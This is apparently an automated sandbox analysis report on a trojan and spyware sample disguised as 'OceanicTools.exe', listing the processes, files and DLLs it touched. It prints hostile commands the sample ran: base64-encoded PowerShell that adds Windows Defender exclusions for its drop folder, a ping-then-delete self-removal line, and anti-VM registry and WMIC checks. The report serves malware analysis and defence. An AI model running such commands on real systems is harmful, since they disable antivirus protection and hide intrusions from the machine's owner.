Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140066750	14_2_0000000140066750
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400907A0	14_2_00000001400907A0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400A37AC	14_2_00000001400A37AC
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009E7A4	14_2_000000014009E7A4
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014008E884	14_2_000000014008E884
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009B968	14_2_000000014009B968
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400269E0	14_2_00000001400269E0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140078A40	14_2_0000000140078A40
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006AA50	14_2_000000014006AA50
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140092AAC	14_2_0000000140092AAC
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140037AAD	14_2_0000000140037AAD
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400A6ACC	14_2_00000001400A6ACC
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400A1B68	14_2_00000001400A1B68
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400BBB80	14_2_00000001400BBB80
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006DBC0	14_2_000000014006DBC0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014002FC80	14_2_000000014002FC80
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140006D20	14_2_0000000140006D20
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014004AD30	14_2_000000014004AD30
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140066D53	14_2_0000000140066D53
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006AD70	14_2_000000014006AD70
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140005DB0	14_2_0000000140005DB0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009BE18	14_2_000000014009BE18
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006CE40	14_2_000000014006CE40
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140075E70	14_2_0000000140075E70
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140072EC0	14_2_0000000140072EC0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009CF18	14_2_000000014009CF18
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140038FB0	14_2_0000000140038FB0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350D7290	14_2_00007FF6350D7290
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350F5140	14_2_00007FF6350F5140
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6351B7220	14_2_00007FF6351B7220
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350EC4A0	14_2_00007FF6350EC4A0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350D34D0	14_2_00007FF6350D34D0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350F64F0	14_2_00007FF6350F64F0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350ED367	14_2_00007FF6350ED367
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350D6A40	14_2_00007FF6350D6A40
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350EDA84	14_2_00007FF6350EDA84
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350E5B20	14_2_00007FF6350E5B20
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6351CC950	14_2_00007FF6351CC950
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350D3C70	14_2_00007FF6350D3C70

Source: Joe Sandbox View

Dropped File: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll 3FB6B027285DB00651F0257DF8F5CA9DB5665A24A5E23F476CD3E71244BFBC7F

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: String function: 00007FF6351D2CD0 appears 32 times
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: String function: 0000000140034B20 appears 41 times
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: String function: 00007FF6351DC0A0 appears 40 times
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: String function: 00000001400300A0 appears 67 times

Source: qflwedtkihuzyxlg.exe_a.dll.11.dr

Static PE information: Number of sections : 11 > 10

Source: C:\Users\user\Desktop\OceanicTools.exe

Process created: C:\Windows\System32\reg.exe "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"

Source: Process Memory Space: powershell.exe PID: 7128, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6696, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: OceanicTools.exe	Binary string: \\.\\\?\\Device\UNC\\\%ls%ls%lsccs=UNICODEccs=UTF-8ccs=UTF-16LE
Source: OceanicTools.exe	Binary string: X@tdiv_qr.cqxn == 0n2p[qn] >= cy2rn == dnData.Hashable.LowLevelhashable-1.4.4.0-1jOpKawyX4k1n9a6vQlXXi'OsCharOsChar'OsStringOsString'PosixCharPosixChar'WindowsCharWindowsChar'PosixString'WindowsStringPosixStringSystem.OsString.Internal.Typesos-string-2.0.6-IlBa2UQjH7mL18YjMu1jzEWindowsString\\.\\\?\\Device\UNC\\\%ls%ls%lsccs=UNICODEccs=UTF-8ccs=UTF-16LE@

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/12@1/3

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_00000001400835B0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,

14_2_00000001400835B0

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 11_2_00007FF6350D46A4 CreateToolhelp32Snapshot,Process32First,Process32Next,NtClose,

11_2_00007FF6350D46A4

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_00000001400D0730 CoCreateInstance,

14_2_00000001400D0730

Source: C:\Users\user\Desktop\OceanicTools.exe

File created: C:\Users\user\foekseyrkkzyooxy

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4500:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5836:120:WilError_03
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mmm-A33C734061CA11EE8C18806E6F6E69639EDEC077
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5632:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ok5tzepb.rs5.ps1

Jump to behavior

Source: OceanicTools.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\OceanicTools.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: OceanicTools.exe	String found in binary or memory: --install-signal-handlers=<yes\|no>
Source: OceanicTools.exe	String found in binary or memory: --install-seh-handlers=<yes\|no>
Source: OceanicTools.exe	String found in binary or memory: to be installed. Implies --install-signal-handlers=yes.
Source: OceanicTools.exe	String found in binary or memory: in-addr

Source: unknown	Process created: C:\Users\user\Desktop\OceanicTools.exe "C:\Users\user\Desktop\OceanicTools.exe"
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\reg.exe "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" "computersystem" "get" "manufacturer"
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHlccWZsd2VkdGtpaHV6eXhsZy5leGUi')); Invoke-Expression $cmd"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Process created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\reg.exe "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" "computersystem" "get" "manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHlccWZsd2VkdGtpaHV6eXhsZy5leGUi')); Invoke-Expression $cmd"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Process created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000	Jump to behavior

Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: dnsapi.dll	Jump to behavior
